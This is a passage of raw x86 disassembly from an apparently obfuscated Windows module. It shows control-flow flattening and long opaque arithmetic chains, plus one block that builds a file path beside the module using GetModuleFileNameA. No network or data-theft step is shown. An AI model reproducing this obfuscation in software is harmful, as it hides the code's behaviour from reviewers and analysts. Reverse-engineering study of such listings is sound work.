and ecx, 0xbdef0e12
mov eax, ecx
xor eax, 0x86bf103
mov edx, 0xffffffff
xor edx, 0x86bf103
and ecx, edx
shl ecx, 1
sub ecx, eax
mov eax, 0xffffffff
xor eax, 0xec87673b
xor edx, edx
sub edx, 1
sub eax, edx
sub ecx, eax
xor ecx, 0xed633ac8
mov eax, ecx
xor eax, 0xc773c9a5
mov edx, 0xffffffff
xor edx, 0xc773c9a5
and ecx, edx
shl ecx, 1
sub ecx, eax
mov eax, ecx
and eax, 0x2fa1dfb5
xor eax, 0xffffffff
and ecx, 0x2fa1dfb5
xor ecx, 0xffffffff
and eax, ecx
xor eax, 0xffffffff
mov ecx, 0x683b3a9f
xor edx, edx
div ecx
mov edx, eax
mov eax, dword [ebp - 0x1c]
mov ecx, edx
and ecx, 0xe59efb93
or edx, 0xe59efb93
add ecx, edx
add ecx, 0xae5b3158
mov edx, ecx
and edx, 0x8913b03e
or ecx, 0x8913b03e
add edx, ecx
xor ecx, ecx
sub ecx, edx
xor edx, edx
sub edx, 0xe5116e75
add ecx, edx
xor edx, edx
sub edx, ecx
and edx, 0xf12da51f
and edx, 0x2cf110c4
mov ecx, edx
and ecx, ecx
xor ecx, 0xffffffff
xor ecx, 0xffffffff
mov esi, 0xffffffff
xor esi, 0x962df842
or ecx, esi
mov esi, 0x962df842
and esi, 0x962df842
xor esi, 0xffffffff
xor edx, 0xffffffff
xor esi, 0xffffffff
or edx, esi
xor ecx, 0xffffffff
xor edx, 0xffffffff
or ecx, edx
or ecx, 0x4659be72
and ecx, 0xc89741f5
mov edi, 0xffffffff
xor edi, 0x85cbd9d3
mov esi, ecx
and esi, edi
mov edx, ecx
or edx, edi
xor edx, 0xffffffff
imul edx, esi
mov esi, ecx
and esi, 0x85cbd9d3
or ecx, 0x85cbd9d3
imul ecx, esi
add ecx, edx
mov edi, 0xffffffff
xor edi, 0xfbb02b7c
mov esi, ecx
and esi, edi
mov edx, ecx
or edx, edi
xor edx, 0xffffffff
imul edx, esi
mov esi, ecx
and esi, 0xfbb02b7c
or ecx, 0xfbb02b7c
imul ecx, esi
add ecx, edx
mov edx, ecx
or edx, edx
xor edx, 0xffffffff
mov esi, 0x7f985373
or esi, 0x7f985373
xor esi, 0xffffffff
or edx, esi
xor edx, 0xffffffff
xor ecx, 0xffffffff
mov esi, 0xffffffff
xor esi, 0x7f985373
and ecx, esi
or edx, ecx
xor edx, 0xffffffff
xor edx, 0xcd8ec1
mov ecx, edx
and ecx, 0xeca4e3ad
or edx, 0xeca4e3ad
add ecx, edx
imul ecx, ecx, 0xb0ba1661
xor ecx, 0x5a0b1932
sub ecx, 0x1cb6e36a
mov esi, ecx
xor esi, 0xffffffff
mov edx, ecx
xor edx, 0xffffffff
and esi, edx
mov edx, 0xffffffff
xor edx, 0xca6c6a97
mov edi, 0xffffffff
xor edi, 0xca6c6a97
and edx, edi
or esi, edx
xor esi, 0xffffffff
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xca6c6a97
and ecx, edx
or esi, ecx
xor esi, 0xffffffff
mov ecx, 0x377cdd1a
mov edx, 0xd476dbdf
cmp esi, 0x87817fa
cmovbe ecx, edx
mov dword [eax], ecx
jmp 0x1013b172
mov eax, dword [0x102292b4]
mov edx, dword [0x102292b8]
xor eax, 0xffffffff
xor edx, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0x9932f8c
or eax, edx
or ecx, 0x9932f8c
xor eax, 0xffffffff
and eax, ecx
mov ecx, 0xa245a1d
xor edx, edx
div ecx
mov ecx, 0xb929db52
xor edx, edx
div ecx
mov ecx, eax
and ecx, 0x78c48fac
shl ecx, 1
xor eax, 0x78c48fac
add eax, ecx
imul eax, eax, 0xc2c83d10
and eax, 0x5703709f
and eax, 0xf26cd562
mov esi, 0xffffffff
xor esi, 0x9a280907
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x9a280907
or eax, 0x9a280907
imul eax, edx
add eax, ecx
xor eax, 0x9abb894a
and eax, 0x66c3bfd6
mov ecx, eax
and ecx, 0x1a179f73
xor eax, 0x1a179f73
or ecx, eax
and ecx, 0x92cd376a
mov eax, ecx
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xf7061eda
and eax, edx
or ecx, 0xf7061eda
xor ecx, 0xffffffff
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
mov edx, 0xffffffff
xor edx, 0x9d290a25
mov ecx, eax
xor ecx, edx
and ecx, eax
mov eax, ecx
and eax, 0x973f600c
xor ecx, 0x973f600c
or eax, ecx
mov ecx, 0xf09e4731
xor edx, edx
div ecx
add eax, 0x2a74f3fd
add eax, 0xfdce8290
sub eax, 0x2a74f3fd
xor eax, 0x6804c556
mov ecx, eax
xor ecx, 0x3a7da433
mov edx, 0xffffffff
xor edx, 0x3a7da433
and eax, edx
shl eax, 1
sub eax, ecx
imul eax, eax, 0x910759d4
mov ecx, 0x68850f6b
xor edx, edx
div ecx
mov ecx, eax
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xb6f16b3
mov eax, 0xffffffff
xor eax, 0x42a1b72b
or ecx, edx
or eax, 0x42a1b72b
xor ecx, 0xffffffff
and ecx, eax
add ecx, 0x6af3124c
sub ecx, 0x8c363868
sub ecx, 0x6af3124c
or ecx, 0xe47069c2
or ecx, ecx
xor ecx, 0xffffffff
mov eax, 0xe15e1997
or eax, 0xe15e1997
xor eax, 0xffffffff
xor ecx, 0xffffffff
xor eax, 0xffffffff
and ecx, eax
sub ecx, 0x792de19a
sub ecx, 0x41db3d04
add ecx, 0x792de19a
mov eax, ecx
xor eax, 0xffffffff
mov dword [ebp - 0x40], eax
mov esi, 0xffffffff
xor esi, 0x716902d3
mov edx, 0xffffffff
xor edx, 0x957d0d40
and eax, 0x957d0d40
and ecx, edx
mov edi, esi
and edi, 0x957d0d40
mov ebx, edx
and ebx, 0x716902d3
or eax, ecx
mov ecx, dword [ebp - 0x40]
or edi, ebx
xor eax, edi
or ecx, esi
xor ecx, 0xffffffff
or edx, 0x957d0d40
and ecx, edx
or eax, ecx
imul eax, eax, 0xe439abb
mov ecx, 0xa0073b6b
xor edx, edx
div ecx
add eax, 0x6d5e5bbf
sub eax, 0xf460ff5
sub eax, 0x6d5e5bbf
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0xbcbb222
mov edx, 0xffffffff
xor edx, 0xbcbb222
and eax, edx
sub eax, ecx
mov ecx, eax
xor ecx, 0xffffffff
mov edi, 0xffffffff
xor edi, 0xd43672df
mov edx, 0xffffffff
xor edx, 0xcdcff470
mov esi, ecx
and esi, 0xcdcff470
and eax, edx
mov dword [ebp - 0x3c], eax
mov ebx, edi
and ebx, 0xcdcff470
mov eax, edx
and eax, 0xd43672df
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x3c]
or esi, eax
mov eax, dword [ebp - 0x38]
or ebx, eax
mov eax, dword [ebp - 0x1c]
xor esi, ebx
or ecx, edi
xor ecx, 0xffffffff
or edx, 0xcdcff470
and ecx, edx
or esi, ecx
xor ecx, ecx
sub ecx, 0xd370fc0a
sub esi, ecx
add esi, 0xb8a56896
or esi, esi
xor esi, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0x4f0a6175
mov edx, 0xffffffff
xor edx, 0x4f0a6175
and ecx, edx
or esi, ecx
xor esi, 0xffffffff
or esi, 0x6a2a7c7b
mov ecx, 0x610a1e6
mov edx, 0xd476dbdf
cmp esi, 0xb740f4be
cmove ecx, edx
mov dword [eax], ecx
jmp 0x1013b172
mov eax, dword [ebp - 0x1c]
mov dword [eax], 0x779fa53a
jmp 0x1013b172
mov ecx, dword [0x102292c4]
or ecx, dword [0x102292c8]
sub ecx, 0x68e03a2e
add ecx, 0xa0181d19
add ecx, 0x68e03a2e
mov eax, ecx
and eax, 0xb4f6f979
or ecx, 0xb4f6f979
add eax, ecx
mov ecx, eax
xor ecx, 0xffffffff
xor eax, 0xffffffff
and ecx, eax
mov eax, 0x96bdb277
or eax, 0x96bdb277
xor eax, 0xffffffff
or ecx, eax
xor ecx, 0xffffffff
mov eax, ecx
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
mov ecx, 0xffffffff
xor ecx, 0x2d62f042
mov edx, 0xffffffff
xor edx, 0x2d62f042
or ecx, edx
and eax, ecx
xor eax, 0xffffffff
mov ecx, 0x54dbbad6
xor edx, edx
div ecx
and eax, 0xe7819064
xor eax, 0xc0b875f0
add eax, 0x33c2219d
mov ecx, 0x11259056
xor edx, edx
div ecx
mov ecx, eax
mov eax, ecx
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x577c07fc
or eax, edx
and ecx, 0x577c07fc
xor ecx, 0xffffffff
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
imul eax, eax, 0xf946afd2
mov ecx, eax
and ecx, 0x2fa83a3a
shl ecx, 1
add eax, 0x2fa83a3a
sub eax, ecx
mov ecx, 0x9dac4479
xor edx, edx
div ecx
mov ecx, eax
mov esi, 0xffffffff
xor esi, 0x5386426c
mov edx, ecx
and edx, esi
mov eax, ecx
or eax, esi
xor eax, 0xffffffff
imul eax, edx
mov edx, ecx
and edx, 0x5386426c
or ecx, 0x5386426c
imul ecx, edx
add ecx, eax
add ecx, 0xac6841c6
xor ecx, 0xa8b5ed4c
xor ecx, 0xe66f685e
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xcb5a3886
mov eax, 0xffffffff
xor eax, 0x7a84f8b2
or ecx, edx
or eax, 0x7a84f8b2
xor ecx, 0xffffffff
and ecx, eax
and ecx, ecx
xor ecx, 0xffffffff
mov eax, 0xc026ec7c
and eax, 0xc026ec7c
xor eax, 0xffffffff
and ecx, eax
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xec7c6b23
mov eax, ecx
xor eax, edx
and eax, ecx
imul eax, eax, 0x13057e5b
mov ecx, eax
and ecx, 0x9f28fef
xor ecx, 0xffffffff
add eax, 0x9f28fef
add eax, 1
add eax, ecx
add eax, 0xa27cb087
or eax, 0xe9696150
or eax, 0xafc1ed8c
mov ecx, 0x1fd6bdba
xor edx, edx
div ecx
mov ecx, eax
mov eax, dword [ebp - 0x1c]
mov edi, 0xffffffff
xor edi, 0xfafa2f74
mov esi, ecx
and esi, edi
mov edx, ecx
or edx, edi
xor edx, 0xffffffff
imul edx, esi
mov esi, ecx
and esi, 0xfafa2f74
or ecx, 0xfafa2f74
imul ecx, esi
add ecx, edx
mov edx, ecx
and edx, 0x78c728d8
shl edx, 1
add ecx, 0x78c728d8
sub ecx, edx
sub ecx, 0x1e15d37a
imul esi, ecx, 0x57ca9c11
sub esi, 0x28a7bc1f
sub esi, 0xcfd45066
add esi, 0xb3fbbfaa
add esi, 0xcfd45066
xor esi, 0xef729d00
and esi, 0x6bc48658
mov ecx, esi
xor ecx, 0xffffffff
and ecx, 0x41611dc6
mov edx, 0xffffffff
xor edx, 0x41611dc6
and esi, edx
sub esi, ecx
mov ecx, 0xc172d7a8
mov edx, 0xc07783a0
cmp esi, 0xd5f66933
cmovbe ecx, edx
mov dword [eax], ecx
jmp 0x1013b172
mov eax, dword [0x102292cc]
mov edx, dword [0x102292d0]
mov ecx, eax
and ecx, edx
shl ecx, 1
add eax, edx
sub eax, ecx
mov ecx, 0xe0e8d997
xor edx, edx
div ecx
mov ecx, eax
and ecx, 0x8929d666
shl ecx, 1
xor eax, 0x8929d666
add eax, ecx
sub eax, 0x88aedb54
mov ecx, 0xffffffff
xor ecx, 0x7de63ab2
xor edx, edx
sub edx, 1
sub ecx, edx
sub eax, ecx
or eax, 0x139475ac
or eax, 0x1bcb44cf
mov ecx, 0xfbe613d7
xor edx, edx
div ecx
mov ecx, eax
and ecx, 0xe75e984d
mov esi, 0xffffffff
xor esi, 0x17116b33
mov edx, ecx
and edx, esi
mov eax, ecx
or eax, esi
xor eax, 0xffffffff
imul eax, edx
mov edx, ecx
and edx, 0x17116b33
or ecx, 0x17116b33
imul ecx, edx
add ecx, eax
mov eax, ecx
xor eax, 0xffffffff
mov dword [ebp - 0x44], eax
mov esi, 0xffffffff
xor esi, 0xc621f59
mov edx, 0xffffffff
xor edx, 0xb54bdd81
and eax, 0xb54bdd81
and ecx, edx
mov edi, esi
and edi, 0xb54bdd81
mov ebx, edx
and ebx, 0xc621f59
or eax, ecx
mov ecx, dword [ebp - 0x44]
or edi, ebx
xor eax, edi
or ecx, esi
xor ecx, 0xffffffff
or edx, 0xb54bdd81
and ecx, edx
or eax, ecx
sub eax, 0x9fdbb2e4
mov edx, eax
xor edx, 0xffffffff
and edx, 0x6101f2fb
mov esi, 0xffffffff
xor esi, 0x6101f2fb
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0x6101f2fb
or eax, 0x6101f2fb
imul eax, edx
add eax, ecx
add eax, 0xed70bf80
sub eax, 0xa6e20e0e
sub eax, 0xed70bf80
mov ecx, 0xa27f0b16
xor edx, edx
div ecx
or eax, 0xd4d4bb4b
or eax, 0x553799db
xor eax, 0xc4cba6b7
mov ecx, 0x4377e322
xor edx, edx
div ecx
mov ecx, eax
and ecx, 0x6794b372
shl ecx, 1
xor eax, 0x6794b372
add eax, ecx
add eax, 0xc9cbc4f2
add eax, 0x44955213
sub eax, 0xc9cbc4f2
mov ecx, eax
xor ecx, 0xffffffff
mov edx, eax
xor edx, 0xffffffff
and ecx, edx
mov edx, 0xffffffff
xor edx, 0x2b6e032d
mov esi, 0xffffffff
xor esi, 0x2b6e032d
and edx, esi
or ecx, edx
xor ecx, 0xffffffff
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x2b6e032d
and eax, edx
xor ecx, 0xffffffff
xor eax, 0xffffffff
and ecx, eax
xor ecx, 0x27c2f3b6
mov eax, ecx
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
mov ecx, 0x8c1175a7
or ecx, 0x8c1175a7
xor ecx, 0xffffffff
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
mov ecx, 0x387af50a
xor edx, edx
div ecx
mov ecx, eax
and ecx, 0x1ecaa6e2
shl ecx, 1
xor eax, 0x1ecaa6e2
add eax, ecx
sub eax, 0xc3d8ed1d
sub eax, 0xc7db399c
add eax, 0xc3d8ed1d
mov edx, eax
xor edx, 0xffffffff
and edx, 0xca3d8df
mov esi, 0xffffffff
xor esi, 0xca3d8df
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0xca3d8df
or eax, 0xca3d8df
imul eax, edx
add eax, ecx
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0xc1860e23
mov edx, 0xffffffff
xor edx, 0xc1860e23
and eax, edx
sub eax, ecx
xor eax, 0xb8bd9ad0
mov ecx, 0x6275033e
xor edx, edx
div ecx
mov ecx, eax
mov eax, dword [ebp - 0x1c]
mov edx, 0xffffffff
xor edx, 0x56d71bea
add ecx, edx
add ecx, 1
xor edx, edx
sub edx, 0xe318e764
sub ecx, edx
or ecx, 0x2b37fa67
imul esi, ecx, 0x91eacac4
or esi, 0x8d4fe39f
mov ecx, 0x443dac63
mov edx, 0x9c011378
cmp esi, 0x84ee2cc3
cmove ecx, edx
mov dword [eax], ecx
jmp 0x1013b172
mov esi, 0x5bdb8ec0
mov dword [0x1022d298], 1
push eax
sub esp, 8
mov ecx, esp
mov dword [ebp - 0x4c], ecx
sub esp, 0x104
mov eax, esp
mov dword [ebp - 0x50], eax
push eax
mov edx, esp
mov dword [ebp - 0x54], edx
mov edx, dword [0x10224ac1]
mov dword [ecx], edx
mov edx, dword [0x10224ac5]
mov dword [ecx + 4], edx
mov dl, byte [0x10224ac9]
mov byte [ecx + 8], dl
xor ecx, ecx
sub esp, 0xc
mov dword [esp], 0
mov dword [esp + 4], eax
mov dword [esp + 8], 0x104
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov eax, dword [ebp - 0x50]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
mov ecx, dword [ebp - 0x50]
lea eax, [0x1021fa11]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.1020d2e0
mov ecx, dword [ebp - 0x50]
add esp, 8
mov eax, dword [ebp - 0x4c]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.1020d2e0
add esp, 8
call fcn.1012d660
mov ecx, eax
mov eax, dword [ebp - 0x1c]
cmp ecx, 0
setne cl
mov byte [ebp - 0x45], cl
mov ecx, 0x8a077380
mov edx, 0x9c011378
cmp esi, 0x82dc172f
cmovae ecx, edx
mov dword [eax], ecx
jmp 0x1013b172
mov eax, dword [str.vg4_]
xor edx, edx
div dword [0x102292e0]
mov ecx, eax
or ecx, 0x6a3016b6
add ecx, 0x24a5eff9
mov eax, ecx
and eax, 0xd9d557f7
xor eax, 0xffffffff
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xd9d557f7
or ecx, edx
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
imul ecx, eax, 0x5f80b433
mov eax, ecx
and eax, eax
xor eax, 0xffffffff
and eax, 0xac20ff76
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xac20ff76
mov esi, 0xffffffff
xor esi, 0xac20ff76
or edx, esi
xor ecx, 0xffffffff
xor edx, 0xffffffff
or ecx, edx
and eax, ecx
xor eax, 0xffffffff
sub eax, 0x4c77fd64
sub eax, 0xed349ee1
mov ecx, 0x172f4b31
xor edx, edx
div ecx
mov ecx, eax
mov eax, ecx
and eax, 0x73e5df4f
xor ecx, 0x73e5df4f
or eax, ecx
or eax, 0xd406cad4
or eax, 0x5ed7b5d8
add eax, 0x65400c0b
sub eax, 0xf971836b
sub eax, 0x65400c0b
sub eax, 0xa6f513ce
sub eax, 0x7f316248
add eax, 0xa6f513ce
mov esi, 0xffffffff
xor esi, 0x35d0e1d5
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x35d0e1d5
or eax, 0x35d0e1d5
imul eax, edx
add eax, ecx
mov ecx, 0xf9ff5e52
xor edx, edx
div ecx
mov ecx, 0x141a9595
xor edx, edx
div ecx
mov esi, eax
mov eax, 0xffffffff
xor eax, 0xb0e9d00b
add esi, eax
add esi, 1
mov eax, esi
xor eax, 0xffffffff
and eax, 0xfab6a7ca
mov edx, 0xffffffff
xor edx, 0xfab6a7ca
and esi, edx
mov ecx, 0xffffffff
xor ecx, 0xfdee5657
and ecx, 0xfab6a7ca
and edx, 0xfdee5657
or eax, esi
or ecx, edx
xor eax, ecx
xor eax, 0xaed416b6
add eax, 0x855bbe4d
sub eax, 0xb4787f45
mov edx, 0xffffffff
xor edx, 0xdefc7aaf
mov ecx, eax
and ecx, edx
mov edx, eax
xor edx, 0xdefc7aaf
add eax, edx
sub eax, ecx
or eax, 0xb0cd2c30
mov ecx, 0x1b8b97d7
xor edx, edx
div ecx
imul eax, eax, 0x59fa2263
mov esi, eax
xor esi, 0xffffffff
and esi, 0xbc4e1136
mov ecx, 0xffffffff
xor ecx, 0xbc4e1136
and eax, ecx
or esi, eax
xor esi, 0xcba53d30
add esi, 0x3232f89
sub esi, 0x8ea03203
mov eax, esi
xor eax, 0xffffffff
and eax, 0x5a70e74
mov edx, 0xffffffff
xor edx, 0x5a70e74
and esi, edx
mov ecx, 0xffffffff
xor ecx, 0xf06e618b
and ecx, 0x5a70e74
and edx, 0xf06e618b
or eax, esi
or ecx, edx
xor eax, ecx
and eax, 0x1ebc19a8
mov ecx, 0x2077b8ce
xor edx, edx
div ecx
mov ecx, 0xc99ea8aa
xor edx, edx
div ecx
mov edx, eax
mov eax, dword [ebp - 0x1c]
mov ecx, edx
and ecx, 0xe0ab7445
xor ecx, 0xffffffff
and edx, 0xe0ab7445
xor edx, 0xffffffff
and ecx, edx
xor ecx, 0xffffffff
imul esi, ecx, 0x62cc368
mov ecx, 0x2e6eb35b
mov edx, 0x5f2226ea
cmp esi, 0x192b6f98
cmovae ecx, edx
mov dword [eax], ecx
jmp 0x1013b172
mov ecx, dword [0x102292e4]
mov edx, dword [0x102292e8]
xor edx, 0xffffffff
mov eax, ecx
xor eax, edx
and eax, ecx
or eax, 0x193150a4
or eax, 0xde768bd9
add eax, 0xd323608c
add eax, 0x2d89a68f
sub eax, 0xd323608c
or eax, 0x3de3dd32
mov esi, 0xffffffff
xor esi, 0xf77ff30e
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0xf77ff30e
or eax, 0xf77ff30e
imul eax, edx
add eax, ecx
mov ecx, 0xffffffff
xor ecx, 0x3d842006
xor edx, edx
sub edx, 1
sub ecx, edx
sub eax, ecx
add eax, 0x4a02eecd
mov ecx, 0xed4bb324
xor edx, edx
div ecx
add eax, 0xffa1b3bf
mov ecx, eax
and ecx, 0x5ff85d31
shl ecx, 1
add eax, 0x5ff85d31
sub eax, ecx
xor eax, 0x950896f4
and eax, 0x919f85bc
xor eax, 0x20b5447e
xor ecx, ecx
sub ecx, 0x235f9b96
add eax, ecx
mov ecx, 0x89b39969
xor edx, edx
div ecx
sub eax, 0xac2c67d0
imul eax, eax, 0x7dba0ecc
mov ecx, 0x55433ac
xor edx, edx
div ecx
or eax, 0x120b7985
imul eax, eax, 0x7fcfeecb
or eax, 0xf28796b
and eax, 0xdffe6c4
mov ecx, eax
and ecx, 0xcfb6c2fb
shl ecx, 1
xor eax, 0xcfb6c2fb
add eax, ecx
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 0x6cce98ca
add ecx, eax
xor eax, eax
sub eax, ecx
mov edx, eax
xor edx, 0xffffffff
and edx, 0x9c489855
mov esi, 0xffffffff
xor esi, 0x9c489855
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0x9c489855
or eax, 0x9c489855
imul eax, edx
add eax, ecx
mov ecx, eax
xor ecx, 0x59a6085c
xor ecx, 0xffffffff
and ecx, 0x59a6085c
shl ecx, 1
sub ecx, 0x59a6085c
sub eax, ecx
mov ecx, 0xb475543d
xor edx, edx
div ecx
xor eax, 0x4c810e01
xor eax, 0x835f1ca1
add eax, 0xb679d64c
or eax, 0x9d7de6a
sub eax, 0x516c16
add eax, 0xfac14d65
add eax, 0x516c16
sub eax, 0x73041dc7
mov ecx, 0xe4508ba0
xor edx, edx
div ecx
mov edi, eax
mov eax, dword [ebp - 0x1c]
mov esi, edi
xor esi, 0xffffffff
and esi, 0xc4885b03
mov edx, 0xffffffff
xor edx, 0xc4885b03
and edi, edx
mov ecx, 0xffffffff
xor ecx, 0x1da1e28f
and ecx, 0xc4885b03
and edx, 0x1da1e28f
or esi, edi
or ecx, edx
xor esi, ecx
mov ecx, 0x5f2226ea
mov edx, 0x6cdc559c
cmp esi, 0x57d9a97
cmova ecx, edx
mov dword [eax], ecx
jmp 0x1013b172
mov edx, dword [0x102292f4]
mov ecx, dword [0x102292f8]
mov eax, edx
xor eax, 0xffffffff
xor edx, 0xffffffff
or eax, edx
and ecx, ecx
xor ecx, 0xffffffff
and eax, ecx
xor eax, 0xffffffff
mov ecx, 0xa1477f61
xor edx, edx
div ecx
mov esi, 0xffffffff
xor esi, 0x4db83e47
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x4db83e47
or eax, 0x4db83e47
imul eax, edx
add eax, ecx
imul ecx, eax, 0x314fe180
mov eax, ecx
xor eax, 0xffffffff
and eax, 0x27743cde
mov edx, 0xffffffff
xor edx, 0x27743cde
and ecx, edx
sub ecx, eax
mov eax, ecx
xor eax, 0xffffffff
mov edx, ecx
xor edx, 0xffffffff
or eax, edx
and eax, 0xa3fbd14
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xa3fbd14
mov esi, 0xffffffff
xor esi, 0xa3fbd14
or edx, esi
and ecx, edx
xor ecx, 0xffffffff
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
mov ecx, eax
and ecx, 0xf344c774
shl ecx, 1
add eax, 0xf344c774
sub eax, ecx
mov edx, eax
xor edx, 0xffffffff
and edx, 0x8f176a
mov esi, 0xffffffff
xor esi, 0x8f176a
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0x8f176a
or eax, 0x8f176a
imul eax, edx
add eax, ecx
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x14fc5ffa
mov ecx, 0xffffffff
xor ecx, 0x18658f99
or eax, edx
or ecx, 0x18658f99
xor eax, 0xffffffff
and eax, ecx
xor ecx, ecx
sub ecx, 0x677fa901
sub eax, ecx
or eax, 0x5b20dba5
and eax, 0x434837af
mov edx, eax
xor edx, 0xffffffff
and edx, 0xd2f03238
mov esi, 0xffffffff
xor esi, 0xd2f03238
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0xd2f03238
or eax, 0xd2f03238
imul eax, edx
add eax, ecx
add eax, 0x6926e4b1
mov ecx, 0x77dc6363
xor edx, edx
div ecx
mov ecx, eax
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xd5b070f7
mov eax, 0xffffffff
xor eax, 0x528b48dc
or ecx, edx
or eax, 0x528b48dc
xor ecx, 0xffffffff
and ecx, eax
mov edx, 0xffffffff
xor edx, 0xf6da880d
mov eax, ecx
xor eax, edx
and eax, ecx
mov ecx, 0xf778e532
xor edx, edx
div ecx
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x8de51e10
mov ecx, 0xffffffff
xor ecx, 0x84a2514c
or eax, edx
or ecx, 0x84a2514c
xor eax, 0xffffffff
and eax, ecx
add eax, 0x187faaa0
sub eax, 0x11d42fd6
and eax, 0xd02dec0b
or eax, 0x40ff8237
mov edx, eax
xor edx, 0xffffffff
and edx, 0x4fc4b2cf
mov esi, 0xffffffff
xor esi, 0x4fc4b2cf
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0x4fc4b2cf
or eax, 0x4fc4b2cf
imul eax, edx
add eax, ecx
sub eax, 0x99105807
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0x9d6c6e54
mov edx, 0xffffffff
xor edx, 0x9d6c6e54
and eax, edx
sub eax, ecx
mov ecx, 0x44fb8a5e
xor edx, edx
div ecx
mov ecx, eax
mov eax, dword [ebp - 0x50]
sub ecx, 0x9da48ed1
add ecx, 0x6cc516c8
imul ecx, ecx, 0x49fb0aa6
sub ecx, 0xee383d2a
and ecx, 0x5e7761ea
mov esi, ecx
xor esi, 0xffffffff
and esi, 0x5836b26f
mov edx, 0xffffffff
xor edx, 0x5836b26f
and ecx, edx
or esi, ecx
sub esi, 0xf28bb617
add esi, 0xcef7872b
or esi, 0xbd3a005
sub esp, 4
mov dword [esp], eax
call fcn.1020d0d4
add esp, 4
mov eax, dword [ebp - 0x1c]
mov ecx, 0xbb379ead
mov edx, 0x53d3c783
cmp esi, 0xd9370309
cmovbe ecx, edx
mov dword [eax], ecx
jmp 0x1013b172
mov eax, dword [ebp - 0x1c]
mov dword [eax], 0xba1e598
jmp 0x1013b172
mov eax, dword [str.TfM3]
mov esi, dword [0x10229308]
mov edi, esi
xor edi, 0xffffffff
mov edx, eax
and edx, edi
mov ecx, eax
or ecx, edi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, esi
or eax, esi
imul eax, edx
add eax, ecx
xor eax, 0x173bdfa0
and eax, eax
xor eax, 0xffffffff
mov ecx, 0xc9f6fdde
and ecx, 0xc9f6fdde
xor ecx, 0xffffffff
and eax, ecx
xor eax, 0xffffffff
mov ecx, 0x8e746a4d
xor edx, edx
div ecx
mov ecx, 0x37ab8205
xor edx, edx
div ecx
mov edx, eax
xor edx, 0xffffffff
and edx, 0x5336012e
mov esi, 0xffffffff
xor esi, 0x5336012e
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0x5336012e
or eax, 0x5336012e
imul eax, edx
add eax, ecx
and eax, 0x8532d48b
sub eax, 0x18a79d5f
sub eax, 0xd38634af
add eax, 0x18a79d5f
and eax, 0xe52adf79
mov esi, eax
or esi, esi
xor esi, 0xffffffff
mov ecx, 0x8e389d85
or ecx, 0x8e389d85
xor ecx, 0xffffffff
xor esi, 0xffffffff
xor ecx, 0xffffffff
and esi, ecx
xor eax, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0x8e389d85
and eax, ecx
or esi, eax
xor esi, 0xffffffff
mov ecx, esi
xor ecx, 0xffffffff
and ecx, 0xaac14132
mov edx, 0xffffffff
xor edx, 0xaac14132
and esi, edx
mov eax, 0xffffffff
xor eax, 0x5862fe29
and eax, 0xaac14132
and edx, 0x5862fe29
or ecx, esi
or eax, edx
xor ecx, eax
xor ecx, 0xe0947b89
xor eax, eax
sub eax, 0x3d8b21f5
add ecx, eax
sub ecx, 0x86d96a11
sub ecx, 0xda4ed1b7
sub ecx, 0x9214a82b
add ecx, 0xda4ed1b7
and ecx, 0x1133f50c
xor ecx, 0x27795eb4
mov eax, ecx
and eax, 0xa2d05121
or ecx, 0xa2d05121
add eax, ecx
xor eax, 0x1d92fe7d
mov ecx, 0x8590e22e
xor edx, edx
div ecx
mov esi, eax
mov ecx, esi
xor ecx, 0xffffffff
and ecx, 0xce998387
mov edx, 0xffffffff
xor edx, 0xce998387
and esi, edx
mov eax, 0xffffffff
xor eax, 0x2833b0d
and eax, 0xce998387
and edx, 0x2833b0d
or ecx, esi
